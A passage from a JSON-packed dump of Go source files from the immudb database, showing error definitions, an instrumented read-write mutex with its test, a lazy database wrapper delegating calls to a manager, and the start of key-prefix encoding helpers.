\"sU2tZ3NC31H3WzlzfOvs7EsGYwLBSKTGwn3ooopNdiK4pf8eF75XWNe1aFYRGEiXwTeCc6vLFrGxAonWrMFN2AC840Wb6\"\n            },\n            \"vault_uuid\": null\n        },\n        \"schema\": \"public\",\n        \"table\": \"sbom\",\n        \"type\": \"INSERT\"\n    }`\n\n\tdoc := &structpb.Struct{}\n\n\terr = json.Unmarshal([]byte(jsonDoc), doc)\n\trequire.NoError(t, err)\n\n\t_, err = db.InsertDocuments(context.Background(), \"admin\", &protomodel.InsertDocumentsRequest{\n\t\tCollectionName: collectionName,\n\t\tDocuments: []*structpb.Struct{\n\t\t\tdoc,\n\t\t},\n\t})\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/database/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"errors\"\n\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\nvar (\n\tErrIndexKeyMismatch      = status.New(codes.InvalidArgument, \"mismatch between provided index and key\").Err()\n\tErrNoReferenceProvided   = status.New(codes.InvalidArgument, \"provided argument is not a reference\").Err()\n\tErrReferenceKeyMissing   = status.New(codes.InvalidArgument, \"reference key not provided\").Err()\n\tErrZAddIndexMissing      = status.New(codes.InvalidArgument, \"zAdd index not provided\").Err()\n\tErrReferenceIndexMissing = status.New(codes.InvalidArgument, \"reference index not provided\").Err()\n\n\tErrDatabaseAlreadyExists      = errors.New(\"database already exists\")\n\tErrDatabaseNotExists          = errors.New(\"database does not exist\")\n\tErrCannotDeleteAnOpenDatabase = errors.New(\"cannot delete an open database\")\n\tErrTxReadPoolExhausted        = errors.New(\"read tx pool exhausted\")\n)\n"
  },
  {
    "path": "pkg/database/instrumented_rwmutex.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"sync\"\n\t\"time\"\n)\n\ntype instrumentedRWMutex struct {\n\trwmutex sync.RWMutex\n\n\ttrwmutex      sync.RWMutex\n\twaitingCount  int\n\tlastReleaseAt time.Time\n}\n\nfunc (imux *instrumentedRWMutex) State() (waitingCount int, lastReleaseAt time.Time) {\n\timux.trwmutex.RLock()\n\tdefer imux.trwmutex.RUnlock()\n\n\treturn imux.waitingCount, imux.lastReleaseAt\n}\n\nfunc (imux *instrumentedRWMutex) Lock() {\n\timux.trwmutex.Lock()\n\timux.waitingCount++\n\timux.trwmutex.Unlock()\n\n\timux.rwmutex.Lock()\n\n\timux.trwmutex.Lock()\n\timux.waitingCount--\n\timux.trwmutex.Unlock()\n}\n\nfunc (imux *instrumentedRWMutex) Unlock() {\n\timux.trwmutex.Lock()\n\n\timux.rwmutex.Unlock()\n\timux.lastReleaseAt = time.Now()\n\n\timux.trwmutex.Unlock()\n}\n\nfunc (imux *instrumentedRWMutex) RLock() {\n\timux.trwmutex.Lock()\n\timux.waitingCount++\n\timux.trwmutex.Unlock()\n\n\timux.rwmutex.RLock()\n\n\timux.trwmutex.Lock()\n\timux.waitingCount--\n\timux.trwmutex.Unlock()\n}\n\nfunc (imux *instrumentedRWMutex) RUnlock() {\n\timux.trwmutex.Lock()\n\n\timux.rwmutex.RUnlock()\n\timux.lastReleaseAt = time.Now()\n\n\timux.trwmutex.Unlock()\n}\n"
  },
  {
    "path": "pkg/database/instrumented_rwmutex_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestInstrumentedMutex(t *testing.T) {\n\tmutex := &instrumentedRWMutex{}\n\n\twaitingCount, _ := mutex.State()\n\trequire.Equal(t, 0, waitingCount)\n\n\tmutex.Lock()\n\n\twaitingCount, _ = mutex.State()\n\trequire.Equal(t, 0, waitingCount)\n\n\tjustBeforeRelease := time.Now()\n\n\ttime.Sleep(1 * time.Millisecond)\n\n\tmutex.Unlock()\n\n\twaitingCount, lastReleaseAt := mutex.State()\n\trequire.Equal(t, 0, waitingCount)\n\trequire.True(t, lastReleaseAt.After(justBeforeRelease))\n\n\tmutex.Lock()\n\n\twg := sync.WaitGroup{}\n\twg.Add(1)\n\n\tgo func() {\n\t\twg.Done()\n\n\t\tmutex.RLock()\n\n\t\ttime.Sleep(1 * time.Millisecond)\n\n\t\tjustBeforeRelease = time.Now()\n\n\t\ttime.Sleep(1 * time.Millisecond)\n\n\t\tmutex.RUnlock()\n\n\t\twg.Done()\n\t}()\n\n\twg.Wait()\n\n\twg.Add(1)\n\n\twaitingCount, _ = mutex.State()\n\trequire.Equal(t, 1, waitingCount)\n\n\tmutex.Unlock()\n\n\twg.Wait()\n\n\twaitingCount, lastReleaseAt = mutex.State()\n\trequire.Equal(t, 0, waitingCount)\n\trequire.True(t, lastReleaseAt.After(justBeforeRelease))\n}\n"
  },
  {
    "path": "pkg/database/lazy_db.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"errors\"\n\t\"path/filepath\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/document\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nvar ErrNoNewTransactions = errors.New(\"no new transactions\")\n\ntype lazyDB struct {\n\tm *DBManager\n\n\tidx int\n}\n\nfunc (db *lazyDB) GetName() string {\n\treturn db.m.GetNameByIndex(db.idx)\n}\n\nfunc (db *lazyDB) GetOptions() *Options {\n\treturn db.m.GetOptionsByIndex(db.idx)\n}\n\nfunc (db *lazyDB) Path() string {\n\topts := db.GetOptions()\n\n\treturn filepath.Join(opts.GetDBRootPath(), db.GetName())\n}\n\nfunc (db *lazyDB) AsReplica(asReplica, syncReplication bool, syncAcks int) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\tdb.m.logger.Errorf(\"%s: AsReplica\", err)\n\t\treturn\n\t}\n\tdefer db.m.Release(db.idx)\n\n\td.AsReplica(asReplica, syncReplication, syncAcks)\n}\n\nfunc (db *lazyDB) IsReplica() bool {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\tdb.m.logger.Errorf(\"%s: IsReplica\", err)\n\t\treturn false\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.IsReplica()\n}\n\nfunc (db *lazyDB) IsSyncReplicationEnabled() bool {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\tdb.m.logger.Errorf(\"%s: IsSyncReplicationEnabled\", err)\n\t\treturn false\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.IsSyncReplicationEnabled()\n}\n\nfunc (db *lazyDB) SetSyncReplication(enabled bool) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\tdb.m.logger.Errorf(\"%s: SetSyncReplication\", err)\n\t\treturn\n\t}\n\tdefer db.m.Release(db.idx)\n\n\td.SetSyncReplication(enabled)\n}\n\nfunc (db *lazyDB) MaxResultSize() int {\n\treturn db.GetOptions().maxResultSize\n}\n\nfunc (db *lazyDB) Health() (waitingCount int, lastReleaseAt time.Time) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\tdb.m.logger.Errorf(\"%s: Health\", err)\n\t\treturn\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.Health()\n}\n\nfunc (db *lazyDB) CurrentState() (*schema.ImmutableState, error) {\n\treturn db.m.GetState(db.idx)\n}\n\nfunc (db *lazyDB) Size() (uint64, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.Size()\n}\n\nfunc (db *lazyDB) TxCount() (uint64, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.TxCount()\n}\n\nfunc (db *lazyDB) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.Set(ctx, req)\n}\n\nfunc (db *lazyDB) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.VerifiableSet(ctx, req)\n}\n\nfunc (db *lazyDB) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.Get(ctx, req)\n}\n\nfunc (db *lazyDB) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.VerifiableGet(ctx, req)\n}\n\nfunc (db *lazyDB) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.GetAll(ctx, req)\n}\n\nfunc (db *lazyDB) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.Delete(ctx, req)\n}\n\nfunc (db *lazyDB) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.SetReference(ctx, req)\n}\n\nfunc (db *lazyDB) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.VerifiableSetReference(ctx, req)\n}\n\nfunc (db *lazyDB) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.Scan(ctx, req)\n}\n\nfunc (db *lazyDB) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.History(ctx, req)\n}\n\nfunc (db *lazyDB) ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.ExecAll(ctx, operations)\n}\n\nfunc (db *lazyDB) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.Count(ctx, prefix)\n}\n\nfunc (db *lazyDB) CountAll(ctx context.Context) (*schema.EntryCount, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.CountAll(ctx)\n}\n\nfunc (db *lazyDB) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.ZAdd(ctx, req)\n}\n\nfunc (db *lazyDB) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.VerifiableZAdd(ctx, req)\n}\n\nfunc (db *lazyDB) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.ZScan(ctx, req)\n}\n\nfunc (db *lazyDB) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.NewSQLTx(ctx, opts)\n}\n\nfunc (db *lazyDB) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.SQLExec(ctx, tx, req)\n}\n\nfunc (db *lazyDB) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.SQLExecPrepared(ctx, tx, stmts, params)\n}\n\nfunc (db *lazyDB) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.InferParameters(ctx, tx, sql)\n}\n\nfunc (db *lazyDB) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.InferParametersPrepared(ctx, tx, stmt)\n}\n\nfunc (db *lazyDB) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.SQLQuery(ctx, tx, req)\n}\n\nfunc (db *lazyDB) SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.SQLQueryAll(ctx, tx, req)\n}\n\nfunc (db *lazyDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.SQLQueryPrepared(ctx, tx, stmt, params)\n}\n\nfunc (db *lazyDB) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.VerifiableSQLGet(ctx, req)\n}\n\nfunc (db *lazyDB) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.ListTables(ctx, tx)\n}\n\nfunc (db *lazyDB) DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.DescribeTable(ctx, tx, table)\n}\n\nfunc (db *lazyDB) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.WaitForTx(ctx, txID, allowPrecommitted)\n}\n\nfunc (db *lazyDB) WaitForIndexingUpto(ctx context.Context, txID uint64) error {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.WaitForIndexingUpto(ctx, txID)\n}\n\nfunc (db *lazyDB) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.TxByID(ctx, req)\n}\n\nfunc (db *lazyDB) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) {\n\tstate, err := db.CurrentState()\n\tif err != nil {\n\t\treturn nil, 0, [sha256.Size]byte{}, err\n\t}\n\n\tif !req.AllowPreCommitted {\n\t\tif req.Tx > state.TxId {\n\t\t\treturn nil, 0, [sha256.Size]byte{}, ErrNoNewTransactions\n\t\t}\n\t}\n\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, 0, [sha256.Size]byte{}, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.ExportTxByID(ctx, req)\n}\n\nfunc (db *lazyDB) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.ReplicateTx(ctx, exportedTx, skipIntegrityCheck, waitForIndexing)\n}\n\nfunc (db *lazyDB) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.AllowCommitUpto(txID, alh)\n}\n\nfunc (db *lazyDB) DiscardPrecommittedTxsSince(txID uint64) error {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.DiscardPrecommittedTxsSince(txID)\n}\n\nfunc (db *lazyDB) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.VerifiableTxByID(ctx, req)\n}\n\nfunc (db *lazyDB) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.TxScan(ctx, req)\n}\n\nfunc (db *lazyDB) FlushIndex(req *schema.FlushIndexRequest) error {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.FlushIndex(req)\n}\n\nfunc (db *lazyDB) CompactIndex() error {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.CompactIndex()\n}\n\nfunc (db *lazyDB) IsClosed() bool {\n\treturn db.m.IsClosed(db.idx)\n}\n\nfunc (db *lazyDB) Close() error {\n\treturn db.m.Close(db.idx)\n}\n\n// CreateCollection creates a new collection\nfunc (db *lazyDB) CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.CreateCollection(ctx, username, req)\n}\n\n// GetCollection returns the collection schema\nfunc (db *lazyDB) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.GetCollection(ctx, req)\n}\n\nfunc (db *lazyDB) GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.GetCollections(ctx, req)\n}\n\nfunc (db *lazyDB) UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.UpdateCollection(ctx, username, req)\n}\n\nfunc (db *lazyDB) DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.DeleteCollection(ctx, username, req)\n}\n\nfunc (db *lazyDB) AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.AddField(ctx, username, req)\n}\n\nfunc (db *lazyDB) RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.RemoveField(ctx, username, req)\n}\n\nfunc (db *lazyDB) CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.CreateIndex(ctx, username, req)\n}\n\nfunc (db *lazyDB) DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.DeleteIndex(ctx, username, req)\n}\n\nfunc (db *lazyDB) InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.InsertDocuments(ctx, username, req)\n}\n\nfunc (db *lazyDB) ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.ReplaceDocuments(ctx, username, req)\n}\n\nfunc (db *lazyDB) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.AuditDocument(ctx, req)\n}\n\nfunc (db *lazyDB) SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.SearchDocuments(ctx, query, offset)\n}\n\nfunc (db *lazyDB) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.CountDocuments(ctx, req)\n}\n\nfunc (db *lazyDB) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.ProofDocument(ctx, req)\n}\n\nfunc (db *lazyDB) DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.DeleteDocuments(ctx, username, req)\n}\n\nfunc (db *lazyDB) FindTruncationPoint(ctx context.Context, until time.Time) (*schema.TxHeader, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.FindTruncationPoint(ctx, until)\n}\n\nfunc (db *lazyDB) CopySQLCatalog(ctx context.Context, txID uint64) (uint64, error) {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.CopySQLCatalog(ctx, txID)\n}\n\nfunc (db *lazyDB) TruncateUptoTx(ctx context.Context, txID uint64) error {\n\td, err := db.m.Get(db.idx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.m.Release(db.idx)\n\n\treturn d.TruncateUptoTx(ctx, txID)\n}\n"
  },
  {
    "path": "pkg/database/meta.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"encoding/binary\"\n\t\"math\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nconst (\n\tSetKeyPrefix byte = iota\n\tSortedSetKeyPrefix\n\tSQLPrefix\n\tDocumentPrefix\n)\n\nconst (\n\tPlainValuePrefix = iota\n\tReferenceValuePrefix\n)\n\n// WrapWithPrefix ...\nfunc WrapWithPrefix(b []byte, prefix byte) []byte {\n\twb := make([]byte, 1+len(b))\n\twb[0] = prefix\n\tcopy(wb[1:], b)\n\treturn wb\n}\n\nfunc TrimPrefix(prefixed []byte) []byte {\n\treturn prefixed[1:]\n}\n\nfunc EncodeKey(key []byte) []byte {\n\treturn WrapWithPrefix(key, SetKeyPrefix)\n}\n\nfunc EncodeEntrySpec(\n\tkey []byte,\n\tmd *store.KVMetadata,\n\tvalue []byte,\n) *store.EntrySpec {\n\treturn &store.EntrySpec{\n\t\tKey:      WrapWithPrefix(key, SetKeyPrefix),\n\t\tMetadata: md,\n\t\tValue:    WrapWithPrefix(value, PlainValuePrefix),\n\t}\n}\n\nfunc EncodeReference(\n\tkey []byte,\n\tmd *store.KVMetadata,\n\treferencedKey []byte,\n\tatTx uint64,\n) *store.EntrySpec {\n\t// Note: metadata record may be used as reference holder, reference resolution would be faster\n\t// It may be introduced in a backward-compatible way i.e. if not present in metadata then resolve by reading value\n\treturn 